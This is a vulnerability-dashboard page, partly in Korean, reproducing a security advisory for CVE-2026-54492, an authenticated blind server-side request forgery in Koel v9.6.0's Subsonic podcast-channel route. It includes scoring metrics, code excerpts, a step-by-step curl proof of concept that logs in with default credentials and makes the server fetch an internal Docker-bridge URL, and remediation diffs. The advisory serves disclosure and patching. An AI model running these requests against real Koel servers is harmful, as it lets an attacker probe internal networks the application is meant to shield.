Kestrel
대시보드로 돌아가기
CVE-2026-54492MEDIUM· 4.3GHSA대응게시일: 2026. 07. 15.수정일: 2026. 07. 15.

Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
4.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.14.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

상세 설명

Summary

Koel v9.6.0 protects the regular podcast subscription API with SafeUrl, but the Subsonic-compatible createPodcastChannel.view route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

This is distinct from GHSA-7j2f-6h2r-6cqc, which fixed unsafe episode enclosure URLs in versions <= 9.3.4. The issue here is a newer validation gap in the Subsonic route itself, still present in v9.6.0.

Details

SafeUrl protects the regular podcast API only

The regular podcast subscription path validates the feed URL with SafeUrl:

  • app/Http/Requests/API/Podcast/PodcastStoreRequest.php
text
1return [
2 'url' => ['required', 'url', new SafeUrl()],
3];

The Subsonic-compatible route does not:

  • routes/subsonic.php
    • createPodcastChannel.view
  • app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
text
1return [
2 'url' => ['required', 'string', 'url'],
3];

That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.

The URL is fetched immediately by the podcast parser

The attacker-controlled URL is used by the podcast service during channel creation:

  • app/Http/Controllers/Subsonic/CreatePodcastChannelController.php
  • app/Services/Podcast/PodcastService.php

PodcastService::addPodcast() calls:

bash
1$parser = $this->createParser($url);

and createParser() resolves to:

bash
1return Poddle::fromUrl($url, 5 * 60, $this->client);

This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.

This bypasses Koel's intended SSRF control for podcast URLs

Koel already added SafeUrl to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

  1. Authenticate and obtain an API token:
bash
1API_TOKEN=$(
2 curl -sS -X POST http://127.0.0.1:18081/api/me \
3 -H 'Content-Type: application/json' \
4 --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
5 | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
6)
  1. Obtain the user's Subsonic API key:
bash
1SUBSONIC_KEY=$(
2 curl -sS http://127.0.0.1:18081/api/data \
3 -H "Authorization: Bearer $API_TOKEN" \
4 | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
5)
  1. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:
text
1TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
  1. Confirm the regular web API blocks the URL:
bash
1curl -i -X POST http://127.0.0.1:18081/api/podcasts \
2 -H "Authorization: Bearer $API_TOKEN" \
3 -H 'Accept: application/json' \
4 -H 'Content-Type: application/json' \
5 --data "{\"url\":\"$TARGET_URL\"}"

Expected result:

  • HTTP 422
  • Error includes The url must point to a public URL.
  1. Trigger the Subsonic route with the same URL:
bash
1curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
2 --data-urlencode "apiKey=$SUBSONIC_KEY" \
3 --data-urlencode 'f=json' \
4 --data-urlencode "url=$TARGET_URL"

Expected result:

  • HTTP 200
  • JSON includes "status":"ok"
  1. Confirm the server-side request happened by checking the internal HTTP service logs.

During validation, the local HTTP test server received HEAD and GET requests for /feed.xml?run=1.

Impact

An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.

Validated impact:

  • SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server
  • Internal service discovery and request execution through the podcast parser

Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.

Remediation

The Subsonic podcast request validator should apply SafeUrl, and the parser entry point should reject unsafe targets as defense in depth.

Suggested patch for app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php:

text
1diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
2--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
3+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
4@@
5 namespace App\Http\Requests\Subsonic;
6
7 use App\Http\Requests\Request;
8+use App\Rules\SafeUrl;
9@@
10 public function rules(): array
11 {
12 return [
13- 'url' => ['required', 'string', 'url'],
14+ 'url' => ['required', 'string', 'url', new SafeUrl()],
15 ];
16 }
17 }

Suggested defense-in-depth patch for app/Services/Podcast/PodcastService.php:

bash
1diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
2--- a/app/Services/Podcast/PodcastService.php
3+++ b/app/Services/Podcast/PodcastService.php
4@@
5 private function createParser(string $url): Poddle
6 {
7+ if (!$this->network->isSafeUrl($url)) {
8+ throw FailedToParsePodcastFeedException::create($url);
9+ }
10+
11 return Poddle::fromUrl($url, 5 * 60, $this->client);
12 }
13 }

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.